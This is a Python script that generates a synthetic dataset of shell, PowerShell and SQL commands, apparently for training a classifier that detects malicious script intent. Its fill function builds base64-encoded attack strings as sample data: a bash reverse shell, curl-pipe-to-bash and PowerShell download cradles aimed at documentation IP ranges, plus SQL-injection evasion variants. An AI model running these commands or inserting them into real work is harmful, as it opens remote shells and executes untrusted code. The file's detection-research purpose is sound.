File size: 9,959 Bytes
7023796
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
"""Generate the synthetic script-intent dataset.

Usage: python src/generate_dataset.py --out data --per-class 2000 --seed 42

Splits are *template-disjoint*: every template is assigned to exactly one of
train / validation / test, so test scores measure generalization to command
patterns the model never saw, not memorization of slot fillers.
"""
import argparse
import base64
import json
import os
import random
import string
import sys

sys.path.insert(0, os.path.dirname(__file__))
from templates import LABELS, TEMPLATES  # noqa: E402

DOC_NETS = ["192.0.2", "198.51.100", "203.0.113"]  # RFC 5737, non-routable
WORDS = ["alpha", "deploy", "invoice", "report", "metrics", "nightly", "backup", "staging",
         "update", "sync", "cache", "audit", "billing", "inventory", "portal", "helpdesk"]
USERS = ["alice", "bob", "carol", "dave", "erin", "frank", "svc_backup", "deploy", "jenkins",
         "admin", "ubuntu", "ec2-user", "postgres", "www-data", "jsmith", "mgarcia"]
SVCS = ["nginx", "apache2", "postgresql", "redis", "docker", "sshd", "api", "worker",
        "web", "grafana", "prometheus", "mysql", "rabbitmq", "kafka"]
SVC2 = ["WindowsUpdateSvc", "SystemHealth", "OneDriveSync", "dbus-helper", "kworkerd",
        "GoogleUpdateTaskMachine", "MicrosoftEdgeUpdate", "netlogond", "sysupdate", "AdobeARM"]
PKGS = ["htop", "jq", "curl", "build-essential", "python3-pip", "nginx", "git", "tmux", "unzip"]
PSMODS = ["Az", "PSWindowsUpdate", "Pester", "ImportExcel", "PSReadLine", "dbatools"]
TABLES = ["users", "orders", "customers", "invoices", "products", "sessions", "events", "accounts"]
COLS = ["email", "status", "created_at", "region", "sku", "user_id", "total"]
PATHS = ["/var/www/app", "/opt/app", "/home/{u}/projects/api", "/srv/data", "/etc/nginx",
         "~/code/site", "/var/log/app", "/data/exports"]
WINPATHS = ["C:\\Users\\{u}\\Documents", "C:\\inetpub\\wwwroot", "D:\\Backups", "C:\\Logs",
            "C:\\ProgramData\\App", "$env:USERPROFILE\\Desktop"]
ADDOMAINS = ["corp.example", "contoso.test", "ad.example.org", "internal.test"]
DOMAINS = ["example.com", "example.org", "example.net", "acme.test", "contoso.test", "service.example"]
FILES = ["update", "svc", "payload", "x", "agent", "a", "run", "health", "tmp", "install",
         "lib", "kdev", "sys", "data", "out", "loader", "stage2", "conf"]
BRANCHES = ["main", "master", "develop", "release/1.4"]
MSGS = ["fix typo", "bump deps", "add healthcheck", "refactor auth", "update readme"]
IFACES = ["eth0", "ens5", "wlan0", "lo", "docker0"]
ROLES = ["ec2-default", "app-role", "web-instance"]
EXTS = ["conf", "php", "yml", "env", "ini", "xml", "json"]


def rip():
    return f"{random.choice(DOC_NETS)}.{random.randint(1, 254)}"


def rand_b64(text, utf16=False):
    raw = text.encode("utf-16-le" if utf16 else "utf-8")
    return base64.b64encode(raw).decode()


def fill(tpl):
    u = random.choice(USERS)
    ip = rip()
    port = random.choice([4444, 443, 8080, 9001, 1337, 53, 8443, 5555, 80, random.randint(1024, 65535)])
    v = {
        "ip": ip,
        "port": port,
        "port2": random.choice([80, 8000, 8080, 443, random.randint(1024, 65535)]),
        "subnet": f"{random.choice(DOC_NETS)}.0/24",
        "prefix": random.choice(DOC_NETS),
        "rate": random.choice([1000, 5000, 10000]),
        "domain": random.choice(DOMAINS),
        "domain2": f"cdn-{random.choice(WORDS)}.{random.choice(DOMAINS)}",
        "addomain": random.choice(ADDOMAINS),
        "user": u,
        "user2": random.choice(["support", "sysadm", "backup2", "helpdesk$", "svc_mon", "toor"]),
        "pw": random.choice(["P@ssw0rd!", "Winter2024!", "Changeme123", "Summer#99", "Passw0rd1"]),
        "host": f"{random.choice(['web', 'db', 'app', 'build', 'files'])}{random.randint(1, 20)}.{random.choice(DOMAINS)}",
        "path": random.choice(PATHS).format(u=u),
        "winpath": random.choice(WINPATHS).format(u=u),
        "file": random.choice(FILES) + random.choice(["", str(random.randint(1, 99))]),
        "svc": random.choice(SVCS),
        "svc2": random.choice(SVC2),
        "pkg": random.choice(PKGS),
        "psmod": random.choice(PSMODS),
        "ns": random.choice(["default", "prod", "staging", "monitoring"]),
        "branch": random.choice(BRANCHES),
        "msg": random.choice(MSGS),
        "word": random.choice(WORDS),
        "n": random.randint(1, 50),
        "n2": random.randint(1, 20),
        "min": random.choice([1, 5, 10, 15, 30]),
        "sec": random.choice([5, 10, 15]),
        "code": random.choice([404, 500, 502, 403]),
        "ver": f"{random.randint(0, 5)}.{random.randint(0, 20)}.{random.randint(0, 9)}",
        "date": f"2024-{random.randint(1, 12):02d}-{random.randint(1, 28):02d}",
        "table": random.choice(TABLES),
        "col": random.choice(COLS),
        "bucket": f"{random.choice(WORDS)}-{random.choice(['prod', 'dev'])}-bucket",
        "iface": random.choice(IFACES),
        "role": random.choice(ROLES),
        "ext": random.choice(EXTS),
        "nulls": "NULL," * random.randint(0, 4),
        "sshkey": "AAAA" + "".join(random.choices(string.ascii_letters + string.digits + "+/", k=random.randint(40, 68))),
    }
    v["b64revshell"] = rand_b64(f"bash -i >& /dev/tcp/{ip}/{port} 0>&1")
    v["b64dl"] = rand_b64(f"curl -s http://{ip}/{v['file']}.sh | bash")
    v["b64ps"] = rand_b64(random.choice([
        f"IEX(New-Object Net.WebClient).DownloadString('http://{ip}/{v['file']}.ps1')",
        f"$c=New-Object Net.Sockets.TCPClient('{ip}',{port});$s=$c.GetStream()",
    ]), utf16=True)
    v["b64benign"] = rand_b64(random.choice([
        "Get-Service | Where-Object Status -eq 'Running'",
        f"Get-ChildItem C:\\Logs -Filter *.log | Measure-Object",
        "Get-WmiObject Win32_OperatingSystem | Select-Object Caption, Version",
        f"Restart-Service -Name {v['svc']} -Force",
    ]), utf16=True)
    return tpl.format(**v)


BIN_PREFIX = {"nc ": "/usr/bin/nc ", "bash ": "/bin/bash ", "curl ": "/usr/bin/curl ",
              "wget ": "/usr/bin/wget ", "python3 ": "/usr/bin/python3 "}


SQLI_PREFIX = ["", "", "1", "admin", "test", "x", "%", "abc", "0", "-1"]
SQLI_SUFFIX = ["", "", " -- ", "#", "/*", ";%00", " -- -"]


def augment(text, lang, label=None):
    """Light, label-preserving surface variation."""
    if label == "sql_injection" and lang == "sql":
        if random.random() < 0.6:
            text = random.choice(SQLI_PREFIX) + text + random.choice(SQLI_SUFFIX)
        if random.random() < 0.3:
            text = "".join(c.swapcase() if c.isalpha() and random.random() < 0.3 else c for c in text)
        if random.random() < 0.2:
            text = text.replace(" ", random.choice(["/**/", "+", "%20"]))
        return text
    r = random.random()
    if lang in ("powershell", "cmd") and r < 0.15:
        text = "".join(c.upper() if random.random() < 0.3 else c for c in text)  # random casing
    elif lang == "bash" and r < 0.15:
        for k, val in BIN_PREFIX.items():
            if text.startswith(k):
                text = val + text[len(k):]
                break
    elif lang == "bash" and r < 0.25 and not text.startswith("sudo"):
        text = "sudo " + text
    elif lang == "cmd" and r < 0.30:
        text = f"cmd.exe /c \"{text}\""
    elif lang == "powershell" and r < 0.30 and not text.lower().startswith("powershell"):
        text = f"powershell.exe -Command \"{text}\""
    if random.random() < 0.1:
        text = text.replace(" ", "  ", 1)
    return text


def split_templates(templates, rng):
    """Assign templates to splits: ~70% train, ~10% val, ~20% test (per class)."""
    idx = list(range(len(templates)))
    rng.shuffle(idx)
    n = len(idx)
    n_test = max(2, round(n * 0.2))
    n_val = max(1, round(n * 0.1))
    return {"test": idx[:n_test], "validation": idx[n_test:n_test + n_val], "train": idx[n_test + n_val:]}


def main():
    ap = argparse.ArgumentParser()
    ap.add_argument("--out", default="data")
    ap.add_argument("--per-class", type=int, default=2000, help="total samples per class across splits")
    ap.add_argument("--seed", type=int, default=42)
    args = ap.parse_args()
    random.seed(args.seed)
    rng = random.Random(args.seed)
    os.makedirs(args.out, exist_ok=True)

    rows = {"train": [], "validation": [], "test": []}
    split_frac = {"train": 0.7, "validation": 0.1, "test": 0.2}
    for label, templates in TEMPLATES.items():
        assign = split_templates(templates, rng)
        for split, ids in assign.items():
            target = int(args.per_class * split_frac[split])
            seen = set()
            attempts = 0
            while len([r for r in rows[split] if r["label"] == label]) < target and attempts < target * 20:
                attempts += 1
                t_idx = ids[attempts % len(ids)]
                lang, tech, tpl = templates[t_idx]
                text = augment(fill(tpl), lang, label)
                if text in seen:
                    continue
                seen.add(text)
                rows[split].append({
                    "text": text,
                    "label": label,
                    "label_id": LABELS.index(label),
                    "language": lang,
                    "mitre_technique": tech or None,
                    "template_id": f"{label}-{t_idx:03d}",
                })

    # Cross-split exact-duplicate guard
    train_texts = {r["text"] for r in rows["train"]}
    for s in ("validation", "test"):
        rows[s] = [r for r in rows[s] if r["text"] not in train_texts]

    for split, rs in rows.items():
        random.shuffle(rs)
        with open(os.path.join(args.out, f"{split}.jsonl"), "w") as f:
            for r in rs:
                f.write(json.dumps(r) + "\n")
        counts = {l: sum(r["label"] == l for r in rs) for l in LABELS}
        print(split, len(rs), counts)
    print("templates per class:", {k: len(v) for k, v in TEMPLATES.items()})


if __name__ == "__main__":
    main()